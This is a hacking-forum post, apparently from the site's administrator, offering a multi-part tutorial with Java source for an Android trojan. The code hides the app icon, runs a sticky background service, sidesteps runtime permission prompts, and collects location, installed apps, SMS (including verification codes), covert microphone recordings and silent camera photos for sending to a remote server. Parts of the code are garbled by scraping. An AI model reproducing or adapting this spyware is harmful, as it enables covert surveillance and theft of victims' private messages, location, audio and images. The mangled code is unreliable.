• Earn real money by being active: Hello Guest, earn real money by simply being active on the forum — post quality content, get reactions, and help the community. Once you reach the minimum credit amount, you’ll be able to withdraw your balance directly. Learn how it works.

How to trojan for android

Status
Not open for further replies.

dEEpEst

☣☣ In The Depths ☣☣
Staff member
Administrator
Super Moderator
Hacker
Specter
Crawler
Shadow
Joined
Mar 29, 2018
Messages
13,860
Solutions
4
Reputation
27
Reaction score
45,546
Points
1,813
Credits
55,090
‎7 Years of Service‎
 
56%
ATTENTION! All information is provided for informational purposes only. The author is not responsible for any possible harm caused by the materials of this post!

Android is usually called the hotbed of malware. Every day more than 8 thousand new samples of viruses are detected here. And these figures are constantly growing.

But did you ever wonder how these malicious programs work? Today we will deal with this by studying an Android application that can collect information about the device, its location, take photos and record audio. And all this with remote control.

How to write a Trojan on Android

So, our goal is to understand how modern malicious applications work. And the best way to do this is to see how a similar software is created. Like the combat Trojan, our example will, if desired, be able to monitor and transmit information about the target device to the server.

The Trojan's capabilities will be as follows:

- Collecting the location information;

- getting the list of installed applications;

- Receiving SMS;

- recording of audio;

- shooting back or front camera.

All this data our application will send to a remote server, where we can analyze the results of its work.

For obvious reasons, I can not give the full code of the application in the article, so you have to perform some tasks yourself (this will require some knowledge in the development of applications for Android).

Skeleton

At this stage, the task is as follows: create an application with an empty (or just innocuous) interface. Immediately after launch, the application will hide its icon, start the service and finish (the service will continue to work).

Let's start. Create an application by using the following permissions in the manifest:

Code:
>
In the "build.gradle", specify "compileSdkVersion 22" and "targetSdkVersion 22". So you save the application from having to ask for permissions while running (22 is Android 5.1, the required permission request appeared in 23 - Android 6.0, but the application will work in any version).

Now create an empty Activity and Service. Add the line "return Service.START_STICKY" to the "onStartCommand" method of the service. This will cause the system to restart it in the event of an inadvertent termination.

Add their description to the manifest (hereinafter our application will be called
This link is hidden for visitors. Please Log in or register now.
):

Code:
>android: name = "com.example.app.MainActivity" 
android: label = "@ string / app_name"> 

 
 
intent-filter> 
activity> 

android: name = "com.example.app.MainService" 
android: enabled = "true" 
android: exported = "false"> 
service> 

All the malicious work we will do inside the service, so our Activity will be very simple: 

void onCreate (Bundle savedInstanceState) { 
super.onCreate (savedInstanceState) 

// Start the service 
startService (new Intent (this, MainService.class)); 

// Disable Activtiy 
ComponentName cn = new ComponentName ("com.example.
pm.setComponentEnabledSetting (cn, PackageManager.COMPONENT_ENABLED_STATE_DISABLED, PackageManager.DONT_KILL_APP); 
}
This code will launch the service immediately after the application is launched and disable the activity. The side effect of the last action will be the completion of the application and the disappearance of the icon from the launcher. The service will continue to work.

Part 2 We

continue to write our own Trojan on Android. In the first part, we described how to create a trojan shell - now we need to add code to the service that will collect the information we are interested in.

Let's start by locating. In Android there are several ways to get the current coordinates of the device: GPS, on the cellular towers, on WiFi-routers. And you can work with each of them in two ways: either ask the system to determine the current location and call our callback at the end of the operation, or ask the OS about which coordinates were received the last time (as a result of requests for location from other applications, for example) .

In our case, the second method is much more convenient. It is fast, absolutely invisible to the user (does not lead to the appearance of an icon in the status bar) and does not eat a battery. In addition, it is very simple to use:

Code:
>Location getLastLocation (Context context) {
LocationManager lManager = (LocationManager) context.getSystemService (Context.LOCATION_SERVICE); 

android.location.Location locationGPS = lManager.getLastKnownLocation (LocationManager.GPS_PROVIDER); 
android.location.Location locationNet = lManager.getLastKnownLocation ( [url="https://vk.com/away.php?to=http%3A%2F%2FLocationManager.NETWORK&post=-156604867_409&cc_key="]LocationManager.NETWORK[/url] _PROVIDER); 

long GPSLocationTime = 0; 
if (null! = locationGPS) {GPSLocationTime = locationGPS.getTime (); } 

long NetLocationTime = 0; 
if (null! = locationNet) {NetLocationTime = locationNet.getTime (); } 

Location loc; 
if (0 loc = locationGPS; 
} else { 
loc = locationNet; 
} 

if (loc! = null) {
return loc; 
} else { 
return null; 
} 
}
This function asks the system about the latest coordinates obtained by positioning on the cell towers and GPS, then takes the freshest data and returns them in the form of the Location object.

Then you can extract latitude and longitude and write them to a file inside the private directory of our application:

Code:
>Location loc = getLastKnownLocation (context) 
String locationFile = context.getApplicationInfo (). DataDir + "/ location" 

try { 
OutputStreamWriter outputStreamWriter = new OutputStreamWriter (context.openFileOutput (locationFile, Context.MODE_PRIVATE)); 
outputStreamWriter.write (loc.getLatitude () + "" + loc.getLongitude);
outputStreamWriter.close (); 
} 
catch (IOException e) {}
When it's time to send data to the server, we'll just give it this and the other files.

Part 3

List of installed applications

Get the list of installed applications even easier:

Code:
>void dumpSMS (Context context) { 
String appsFile = context.getApplicationInfo (). dataDir + "/ apps" 

final PackageManager pm = context.getPackageManager (); 
List  packages = pm.getInstalledApplications (PackageManager.GET_META_DATA); 

try { 
PrintWriter pw = Files.writeLines (appsFile); 

for (ApplicationInfo packageInfo: packages) { 
if (! isSystemPackage (packageInfo))
pw.println (pm.getApplicationLabel (packageInfo) + ":" + packageInfo.packageName); 
} 

pw.close (); 
} catch (IOException e) {} 
} 

private boolean isSystemPackage (ApplicationInfo applicationInfo) { 
return ((applicationInfo.flags & ApplicationInfo.FLAG_SYSTEM)! = 0); 
}
The method gets a list of all the applications and saves it to the apps file inside the application's private directory.

Part 4

Dump CMC is

already more complicated. To get a list of all saved SMS, we need to connect to the database and go through it in search of the necessary records. Code that allows to dump all SMS to a file:

Code:
>void dumpSMS (Context context, String file, String box) {
SimpleDateFormat formatter = new SimpleDateFormat ("yyyy.MM.dd HH: mm: ss", [url="https://vk.com/away.php?to=http%3A%2F%2FLocale.US&post=-156604867_409&cc_key="]Locale.US[/url] ); 

Cursor cursor = context.getContentResolver (). Query (Uri.parse ("content: // sms /" + box), null, null, null, null); 

try { 
PrintWriter pw = Files.writeLines (file); 

if (cursor! = null && cursor.moveToFirst ()) { 
do { 
String address = null; 
String date = null; 
String body = null; 

for (int idx = 0; idx switch (cursor.getColumnName (idx)) { 
case "address": 
address = cursor.getString (idx); 
break; 
case "date": 
date = cursor.getString (idx); 
break;

body = cursor.getString (idx); 
} 
} 

if (box.equals ("inbox"))) { 
pw.println ("From:" + address); 
} else { 
pw.println ("To:" + address); 
} 

String dateString = formatter.format (new Date (Long.valueOf (date)))); 

pw.println ("Date:" + dateString); 

if (body! = null) { 
pw.println ("Body:" + body.replace ('\ n', '')); 
} else { 
pw.println ("Body:"); 
} 

pw.println (); 
} while (cursor.moveToNext ()); 
} 
pw.close (); 
cursor.close (); 
} catch (Exception e) {} 
}
It should be used like this:

Code:
>String inboxFile = context.getApplicationInfo (). DataDir + "/ sms_inbox" 
dumpSMS (context, inboxFile, "inbox"); 

// Save the list of sent SMS 
String sentFile = context.getApplicationInfo (). DataDir + "/ sms_sent"; 
dumpSMS (context, sentFile, "sent"); 

The entries in the file will look something like this: 

From: Google 
Date: 2017.02.24 06:49:55 
Body: G-732583 is your Google verification code.
Part 5

Hidden audio recording

Record audio from the microphone using the "MediaRecorder API". It is enough to transfer the parameters of the record to it and run it using the "start ()" method. Stop the recording using the "stop ()" method. The following code demonstrates how to do this. In this case, we use a separate sleep thread that wakes up after a specified timeout and stops the record:

Code:
>void recordAudio (String file, final int time) { 
MediaRecorder recorder = new MediaRecorder (); 

recorder.setAudioSource (MediaRecorder.AudioSource.MIC); 
recorder.setOutputFormat (MediaRecorder.OutputFormat.THREE_GPP); 
recorder.setAudioEncoder (MediaRecorder.AudioEncoder.AMR_NB); 
recorder.setOutputFile (file); 

try { 
recorder.prepare ();
} catch (IOException e) {} 

recorder.start (); 

Thread timer = new Thread (new Runnable () { 
[url="https://vk.com/override"]}[/url] 
{ 
try { 
Thread.sleep (time * 1000); 
} catch (InterruptedException e) { 
Log.d (TAG, "timer interrupted"); 
} finally { 
recorder.stop (); 
recorder.release (); 
} 
} 
}); 

timer.start (); 
} 

You can use it, for example, like this: 

DateFormat formatter = new SimpleDateFormat ("yyyy-MM-dd-HH-mm-ss", [url="https://vk.com/away.php?to=http%3A%2F%2FLocale.US&post=-156604867_409&cc_key="]Locale.US[/url] ); 
Date date = new Date (); 

String filePrefix = context.getApplicationInfo (). DataDir + "/ audio-";

recordAudio (filePrefix + formatter.format (date) + ".3gp", 15);
This code will make a 15-second entry and put it in the audio-DATE-AND-TIME file.3gp.

Part 6

Hidden Shooting

The camera is the hardest. First, it's good to be able to work with two APIs at once: classic and Camera2, which appeared in Android 5.0 and became the main one in 7.0. Secondly, the API Camera2 often works incorrectly in Android 5.0 and even in Android 5.1, you need to be ready for this. Third, Camera2 is a complex and confusing API based on callbacks that are called when the camera state changes. Fourthly, neither in the classic camera API, nor in Camera2 is there any means for hidden shooting. They both require you to show previews, and this limitation will have to be bypassed with hacks.

Considering that it's much more difficult to work with Camera2, and it's impossible to describe the nuances of working with it in the framework of this article, I'll just bring all the class code for a hidden survey. And you can either use it as is, or try to deal with it yourself (but I warn you: you will go to hell):

Code:
>  
[indent]public class SilentCamera2 { 
private Context context; 
private CameraDevice device; 
private ImageReader imageReader; 
private CameraCaptureSession session; 
private SurfaceTexture surfaceTexture; 
private CameraCharacteristics characteristics; 
private Surface previewSurface; 
private CaptureRequest.Builder request; 
private Handler handler; 

private String photosDir;

public SilentCamera2 (Context context) { 
this.context = context; 
} 

private final CameraDevice.StateCallback mStateCallback = 
new CameraDevice.StateCallback () { 
[url="https://vk.com/override"]@Override[/url] 
public void onOpened (CameraDevice cameraDevice) { 
device = cameraDevice; 

try { 
surfaceTexture = new SurfaceTexture (10); 
preview Surface = new Surface (surfaceTexture); 

List  surfaceList = new ArrayList  (); 
surfaceList.add (previewSurface); 
surfaceList.add (imageReader.getSurface ()); 

cameraDevice.createCaptureSession (surfaceList, mCaptureStateCallback, handler); 
} catch (Exception e) { 
} 
} 

[url="https://vk.com/override"]@Override[/url] 
public void onDisconnected (CameraDevice cameraDevice) { 

} 

[url="https://vk.com/override"]@Override[/url] 
public void onError (CameraDevice cameraDevice, int error) { 

} 
}; 

private CameraCaptureSession.StateCallback mCaptureStateCallback = 
new CameraCaptureSession.StateCallback () { 
[url="https://vk.com/override"]@Override[/url] 
public void onConfigured (CameraCaptureSession captureSession) { 
session = captureSession; 

try { 
request = device.createCaptureRequest (CameraDevice.TEMPLATE_PREVIEW); 
request.addTarget (previewSurface); 

request.set (CaptureRequest.CONTROL_AF_TRIGGER, 
CameraMetadata.CONTROL_AF_TRIGGER_START); 

captureSession.setRepeatingRequest ( [url="https://vk.com/away.php?to=http%3A%2F%2Frequest.build&post=-156604867_409&cc_key="]request.build[/url](), mCaptureCallback, handler); 
} catch (Exception e) { 
} 
} 

[url="https://vk.com/override"]@Override[/url] 
public void onConfigureFailed (CameraCaptureSession mCaptureSession) {} 
}; 

private CameraCaptureSession.CaptureCallback mCaptureCallback = 
new CameraCaptureSession.CaptureCallback () { 
[url="https://vk.com/override"]@Override[/url] 
public void onCaptureCompleted (CameraCaptureSession session, 
CaptureRequest request, 
TotalCaptureResult result) { 
} 
}; 

private final ImageReader.OnImageAvailableListener mOnImageAvailableListener = 
new ImageReader.OnImageAvailableListener () { 
[url="https://vk.com/override"]@Override[/url] 
public void onImageAvailable (ImageReader reader) {
DateFormat dateFormat = new SimpleDateFormat ("yyyy-MM-dd-HH-mm-ss"); 
Date date = new Date (); 

String filename = photosDir + "/" + dateFormat.format (date) + ".jpg"; 
File file = new File (filename); 

Image image = imageReader.acquireLatestImage (); 

try { 
ByteBuffer buffer = image.getPlanes () [0] .getBuffer (); 
byte [] bytes = new byte [buffer.remaining ()]; 
buffer.get (bytes); 

OutputStream os = new FileOutputStream (file); 
os.write (bytes); 

image.close (); 
os.close (); 
} catch (Exception e) { 
e.getStackTrace (); 
} 

closeCamera (); 
} 
}; 

private void takePicture () {
request.set (CaptureRequest.JPEG_ORIENTATION, getOrientation ()); 

request.addTarget (imageReader.getSurface ()); 
try { 
session.capture ( [url="https://vk.com/away.php?to=http%3A%2F%2Frequest.build&post=-156604867_409&cc_key="]request.build[/url] (), mCaptureCallback, handler); 
} catch (CameraAccessException e) { 
} 
} 

private void closeCamera () { 
try { 
if (null! = session) { 
session.abortCaptures (); 
session.close (); 
session = null; 
} 
if (null! = device) { 
device.close (); 
device = null; 
} 
if (null! = imageReader) { 
imageReader.close (); 
imageReader = null; 
} 
if (null! = surfaceTexture) {
surfaceTexture.release (); 
} 
} catch (Exception e) { 
} 
} 

public boolean takeSilentPhoto (String cam, String dir) { 
photosDir = dir; 
int facing; 

switch (cam) { 
case "front": 
facing = CameraCharacteristics.LENS_FACING_FRONT; 
break; 
case "back": 
facing = CameraCharacteristics.LENS_FACING_BACK; 
break; 
default: 
return false; 
} 

CameraManager manager = (CameraManager) 
context.getSystemService ( [url="https://vk.com/away.php?to=http%3A%2F%2FContext.CAMERA&post=-156604867_409&cc_key="]Context.CAMERA[/url] _SERVICE); 

String cameraId = null; 
characteristics = null; 

try {
for (String id: manager.getCameraIdList ()) { 
characteristics = manager.getCameraCharacteristics (id); 
Integer currentFacing = characteristics.get (CameraCharacteristics.LENS_FACING); 
if (currentFacing! = null && currentFacing == facing) { 
cameraId = id; 
break; 
} 
} 
} catch (Exception e) { 
return false; 
} 

HandlerThread handlerThread = new HandlerThread ("CameraBackground"); 
handlerThread.start (); 
handler = new Handler (handlerThread.getLooper ()); 

imageReader = ImageReader.newInstance (1920,1080, ImageFormat.JPEG, 2); 
imageReader.setOnImageAvailableListener (mOnImageAvailableListener, handler); 

try {
manager.openCamera (cameraId, mStateCallback, handler); 
// We are waiting for the focus 
Thread.sleep (1000); 
takePicture (); 
} catch (Exception e) { 
Log.d (TAG, "Can not open camera:" + et[/indent]
 
Status
Not open for further replies.
Back
Top